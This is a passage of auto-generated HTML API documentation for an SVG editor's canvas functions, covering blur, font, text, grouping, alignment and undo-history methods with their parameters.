-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setPaintOpacity"></a>setPaintOpacity</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setPaintOpacity = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>preventUndo</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the current fill/stroke opacity</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>type</td><td class=CDLDescription>String with &ldquo;fill&rdquo; or &ldquo;stroke&rdquo;</td></tr><tr><td class=CDLEntry>val</td><td class=CDLDescription>Float with the new opacity value</td></tr><tr><td class=CDLEntry>preventUndo</td><td class=CDLDescription>Boolean indicating whether or not this should be an undoable action</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getBlur"></a>getBlur</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getBlur = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Gets the stdDeviation blur value of the given element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The element to check the blur value for</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setBlurNoUndo"></a>setBlurNoUndo</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>canvas.setBlurNoUndo = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the stdDeviation blur value on the selected element without being undoable</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>The new stdDeviation value</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setBlurOffsets"></a>setBlurOffsets</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>canvas.setBlurOffsets = function(</td><td class=PParameter nowrap>filter,</td></tr><tr><td></td><td class=PParameter nowrap>stdDev</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the x, y, with, height values of the filter element in order to make the blur not be clipped.&nbsp; Removes them if not neeeded</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>filter</td><td class=CDLDescription>The filter DOM element to update</td></tr><tr><td class=CDLEntry>stdDev</td><td class=CDLDescription>The standard deviation value on which to base the offset size</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setBlur"></a>setBlur</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>canvas.setBlur = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>complete</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Adds/updates the blur filter to the selected element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>Float with the new stdDeviation blur value</td></tr><tr><td class=CDLEntry>complete</td><td class=CDLDescription>Boolean indicating whether or not the action should be completed (to add to the undo manager)</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getBold"></a>getBold</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getBold = function()</td></tr></table></blockquote><p>Check whether selected element is bold or not</p><h4 class=CHeading>Returns</h4><p>Boolean indicating whether or not element is bold</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setBold"></a>setBold</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setBold = function(</td><td class=PParameter nowrap>b</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Make the selected element bold or normal</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>b</td><td class=CDLDescription>Boolean indicating bold (true) or normal (false)</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getItalic"></a>getItalic</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getItalic = function()</td></tr></table></blockquote><p>Check whether selected element is italic or not</p><h4 class=CHeading>Returns</h4><p>Boolean indicating whether or not element is italic</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setItalic"></a>setItalic</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setItalic = function(</td><td class=PParameter nowrap>i</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Make the selected element italic or normal</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>b</td><td class=CDLDescription>Boolean indicating italic (true) or normal (false)</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getFontFamily"></a>getFontFamily</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getFontFamily = function()</td></tr></table></blockquote><p>Returns the current font family</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setFontFamily"></a>setFontFamily</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setFontFamily = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Set the new font family</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>String with the new font family</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getFontSize"></a>getFontSize</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getFontSize = function()</td></tr></table></blockquote><p>Returns the current font size</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setFontSize"></a>setFontSize</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setFontSize = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Applies the given font size to the selected element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>Float with the new font size</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getText"></a>getText</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getText = function()</td></tr></table></blockquote><p>Returns the current text (textContent) of the selected element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setTextContent"></a>setTextContent</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setTextContent = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Updates the text element with the given string</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>String with the new text</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setImageURL"></a>setImageURL</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setImageURL = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the new image URL for the selected image element.&nbsp; Updates its size if a new URL is given</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>String with the image URL/path</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setRectRadius"></a>setRectRadius</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setRectRadius = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the rx &amp; ry values to the selected rect element to change its corner radius</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>The new radius</td></tr></table></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Element_manipulation"></a>Element manipulation</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setSegType"></a>setSegType</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setSegType = function(</td><td class=PParameter nowrap>new_type</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the new segment type to the selected segment(s).</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>new_type</td><td class=CDLDescription>Integer with the new segment type See <a href="http://www.w3.org/TR/SVG/paths.html#InterfaceSVGPathSeg" class=LURL target=_top>http://www.w3.org<wbr>/TR<wbr>/SVG<wbr>/paths.html#InterfaceSVGPathSeg</a> for list</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.convertToPath"></a>convertToPath</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.convertToPath = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>getBBox</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Convert selected element to a path, or get the BBox of an element-as-path</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The DOM element to be converted</td></tr><tr><td class=CDLEntry>getBBox</td><td class=CDLDescription>Boolean on whether or not to only return the path&rsquo;s BBox</td></tr></table><h4 class=CHeading>Returns</h4><p>If the getBBox flag is true, the resulting path&rsquo;s bounding box object.&nbsp; Otherwise the resulting path element is returned.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.changeSelectedAttributeNoUndo"></a>changeSelectedAttributeNoUndo</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var changeSelectedAttributeNoUndo = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>newValue,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>This function makes the changes to the elements.&nbsp; It does not add the change to the history stack.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>attr</td><td class=CDLDescription>String with the attribute name</td></tr><tr><td class=CDLEntry>newValue</td><td class=CDLDescription>String or number with the new attribute value</td></tr><tr><td class=CDLEntry>elems</td><td class=CDLDescription>The DOM elements to apply the change to</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.changeSelectedAttribute"></a>changeSelectedAttribute</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var changeSelectedAttribute = this.changeSelectedAttribute = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Change the given/selected element and add the original value to the history stack If you want to change all selectedElements, ignore the elems argument.&nbsp; If you want to change only a subset of selectedElements, then send the subset to this function in the elems argument.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>attr</td><td class=CDLDescription>String with the attribute name</td></tr><tr><td class=CDLEntry>newValue</td><td class=CDLDescription>String or number with the new attribute value</td></tr><tr><td class=CDLEntry>elems</td><td class=CDLDescription>The DOM elements to apply the change to</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.deleteSelectedElements"></a>deleteSelectedElements</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.deleteSelectedElements = function()</td></tr></table></blockquote><p>Removes all selected elements from the DOM and adds the change to the history stack</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.groupSelectedElements"></a>groupSelectedElements</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.groupSelectedElements = function()</td></tr></table></blockquote><p>Wraps all the selected elements in a group (g) element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.ungroupSelectedElement"></a>ungroupSelectedElement</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.ungroupSelectedElement = function()</td></tr></table></blockquote><p>Unwraps all the elements in a selected group (g) element.&nbsp; This requires significant recalculations to apply group&rsquo;s transforms, etc to its children</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.moveToTopSelectedElement"></a>moveToTopSelectedElement</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.moveToTopSelectedElement = function()</td></tr></table></blockquote><p>Repositions the selected element to the bottom in the DOM to appear on top of other elements</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.moveToBottomSelectedElement"></a>moveToBottomSelectedElement</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.moveToBottomSelectedElement = function()</td></tr></table></blockquote><p>Repositions the selected element to the top in the DOM to appear under other elements</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.moveSelectedElements"></a>moveSelectedElements</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.moveSelectedElements = function(</td><td class=PParameter nowrap>dx,</td></tr><tr><td></td><td class=PParameter nowrap>dy,</td></tr><tr><td></td><td class=PParameter nowrap>undoable</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Moves selected elements on the X/Y axis</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>dx</td><td class=CDLDescription>Float with the distance to move on the x-axis</td></tr><tr><td class=CDLEntry>dy</td><td class=CDLDescription>Float with the distance to move on the y-axis</td></tr><tr><td class=CDLEntry>undoable</td><td class=CDLDescription>Boolean indicating whether or not the action should be undoable</td></tr></table><h4 class=CHeading>Returns</h4><p>Batch command for the move</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.cloneSelectedElements"></a>cloneSelectedElements</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.cloneSelectedElements = function()</td></tr></table></blockquote><p>Create deep DOM copies (clones) of all selected elements and move them slightly from their originals</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.alignSelectedElements"></a>alignSelectedElements</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.alignSelectedElements = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>relative_to</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Aligns selected elements</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>type</td><td class=CDLDescription>String with single character indicating the alignment type</td></tr><tr><td class=CDLEntry>relative_to</td><td class=CDLDescription>String that must be one of the following: &ldquo;selected&rdquo;, &ldquo;largest&rdquo;, &ldquo;smallest&rdquo;, &ldquo;page&rdquo;</td></tr></table></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Additional_editor_tools"></a>Additional editor tools</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.updateCanvas"></a>updateCanvas</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.updateCanvas = function(</td><td class=PParameter nowrap>w,</td></tr><tr><td></td><td class=PParameter nowrap>h</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Updates the editor canvas width/height/position after a zoom has occurred</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>w</td><td class=CDLDescription>Float with the new width</td></tr><tr><td class=CDLEntry>h</td><td class=CDLDescription>Float with the new height</td></tr></table><h4 class=CHeading>Returns</h4><p>Object with the following values:</p><ul><li>x - The canvas&rsquo; new x coordinate</li><li>y - The canvas&rsquo; new y coordinate</li><li>old_x - The canvas&rsquo; old x coordinate</li><li>old_y - The canvas&rsquo; old y coordinate</li><li>d_x - The x position difference</li><li>d_y - The y position difference</li></ul></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setBackground"></a>setBackground</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setBackground = function(</td><td class=PParameter nowrap>color,</td></tr><tr><td></td><td class=PParameter nowrap>url</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Set the background of the editor (NOT the actual document)</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>color</td><td class=CDLDescription>String with fill color to apply</td></tr><tr><td class=CDLEntry>url</td><td class=CDLDescription>URL or path to image to use</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.cycleElement"></a>cycleElement</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.cycleElement = function(</td><td class=PParameter nowrap>next</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Select the next/previous element within the current layer</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>next</td><td class=CDLDescription>Boolean where true = next and false = previous element</td></tr></table></div></div></div>
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-<div class=CToolTip id="tt1"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>&quot;rectsIntersect&quot;: function(</td><td class=PParameter nowrap>r1,</td></tr><tr><td></td><td class=PParameter nowrap>r2</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Check if two rectangles (BBoxes objects) intersect each other</div></div><div class=CToolTip id="tt2"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>&quot;snapToAngle&quot;: function(</td><td class=PParameter nowrap>x1,</td></tr><tr><td></td><td class=PParameter nowrap>y1,</td></tr><tr><td></td><td class=PParameter nowrap>x2,</td></tr><tr><td></td><td class=PParameter nowrap>y2</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Returns a 45 degree angle coordinate associated with the two given coordinates</div></div><div class=CToolTip id="tt3"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>&quot;text2xml&quot;: function(</td><td class=PParameter nowrap>sXML</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Cross-browser compatible method of converting a string to an XML tree found this function here: http://groups.google.com/group/jquery-dev/browse_thread/thread/c6d11387c580a77f</div></div><div class=CToolTip id="tt4"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>convertToNum = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Converts given values to numbers. </div></div><div class=CToolTip id="tt5"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>setUnitAttr = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets an element&rsquo;s attribute based on the unit in its current value.</div></div><div class=CToolTip id="tt6"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>canvas.isValidUnit = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Check if an attribute&rsquo;s value is in a valid format</div></div><div class=CToolTip id="tt7"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var ChangeElementCommand = this.undoCmd.changeElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>attrs,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command to make a change to an element. </div></div><div class=CToolTip id="tt8"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var InsertElementCommand = this.undoCmd.insertElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command for an element that was added to the DOM</div></div><div class=CToolTip id="tt9"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var RemoveElementCommand = this.undoCmd.removeElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>parent,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command for an element removed from the DOM</div></div><div class=CToolTip id="tt10"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var MoveElementCommand = this.undoCmd.moveElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>oldNextSibling,</td></tr><tr><td></td><td class=PParameter nowrap>oldParent,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command for an element that had its DOM position changed</div></div><div class=CToolTip id="tt11"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var BatchCommand = this.undoCmd.batch = function(</td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command that can contain/execute multiple other commands</div></div><div class=CToolTip id="tt12"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>resetUndoStack = function()</td></tr></table></blockquote>Resets the undo stack, effectively clearing the undo/redo history</div></div><div class=CToolTip id="tt13"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>addCommandToHistory = c.undoCmd.add = function(</td><td class=PParameter nowrap>cmd</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Adds a command object to the undo history stack</div></div><div class=CToolTip id="tt14"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.beginUndoableChange = function(</td><td class=PParameter nowrap>attrName,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This function tells the canvas to remember the old values of the attrName attribute for each element sent in. </div></div><div class=CToolTip id="tt15"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>c.finishUndoableChange = function()</td></tr></table></blockquote>This function returns a BatchCommand object which summarizes the change since beginUndoableChange was called. </div></div><div class=CToolTip id="tt16"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>function walkTree(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>cbFn</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Walks the tree and executes the callback on each element in a top-down fashion</div></div><div class=CToolTip id="tt17"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>function walkTreePost(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>cbFn</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Walks the tree and executes the callback on each element in a depth-first fashion</div></div><div class=CToolTip id="tt18"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var assignAttributes = this.assignAttributes = function(</td><td class=PParameter nowrap>node,</td></tr><tr><td></td><td class=PParameter nowrap>attrs,</td></tr><tr><td></td><td class=PParameter nowrap>suspendLength,</td></tr><tr><td></td><td class=PParameter nowrap>unitCheck</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Assigns multiple attributes to an element.</div></div><div class=CToolTip id="tt19"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var cleanupElement = this.cleanupElement = function(</td><td class=PParameter nowrap>element</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Remove unneeded (default) attributes, makes resulting SVG smaller</div></div><div 